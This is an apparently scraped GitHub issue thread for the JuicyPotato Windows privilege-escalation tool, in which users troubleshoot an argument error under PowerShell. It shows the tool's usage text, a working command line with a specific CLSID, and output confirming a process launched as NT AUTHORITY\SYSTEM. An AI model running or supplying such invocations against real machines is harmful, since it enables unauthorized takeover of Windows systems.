Comments (5)
I got the same error. For some reason, it worked when i called it with "cmd /c".
PS C:\users\test\Desktop> .\jp.exe -t * -p C:\users\test\Desktop\test.bat -l 9001 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
Wrong Argument: -
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
PS C:\users\test\Desktop> cmd /c "jp.exe -t * -p C:\users\test\Desktop\test.bat -l 9001 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}"
Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 9001
......
[+] authresult 0
{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
from juicy-potato.
-p
is a mandatory argument, maybe it's that the problem.
from juicy-potato.
I'm not sure that is true, as the test-clsid.bat
script manages fine without it: https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat#L8
from juicy-potato.
If you are using this with powershell (i.e PS C:\users\test\Desktop>) you will get this error. cmd /c does it make it work within a powershell command prompt though.
from juicy-potato.
You should put the CLSID betweeb double quotations, like this: "{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}"
Although I see not everyone had to do this
from juicy-potato.
Related Issues (16)
- Unable to pass arguments which have a hifen HOT 1
- GetCLSID.ps1 fails on Windows Server 2012 R2 Standard HOT 1
- cant pass -c argument it loops back into usage. HOT 1
- [+] CreateProcessWithTokenW OK but no shell HOT 5
- Who can connect to each listener?
- Option to spawn process in current terminal
- Juici potato ps1 file?
- Release JuicyPotato x86
- CLSIDs for Windows Server 2019
- Trying to compile x86 - 32 bit failing with improper execution.
- Build `1809` patched JuicyPotato HOT 6
- Server 2008 R2 won't run juicypotato.exe - "not a valid win32 application" HOT 1
- Request - Ship symbols along with future releases
- Consider changing the name HOT 1
- Binaries not available HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from juicy-potato.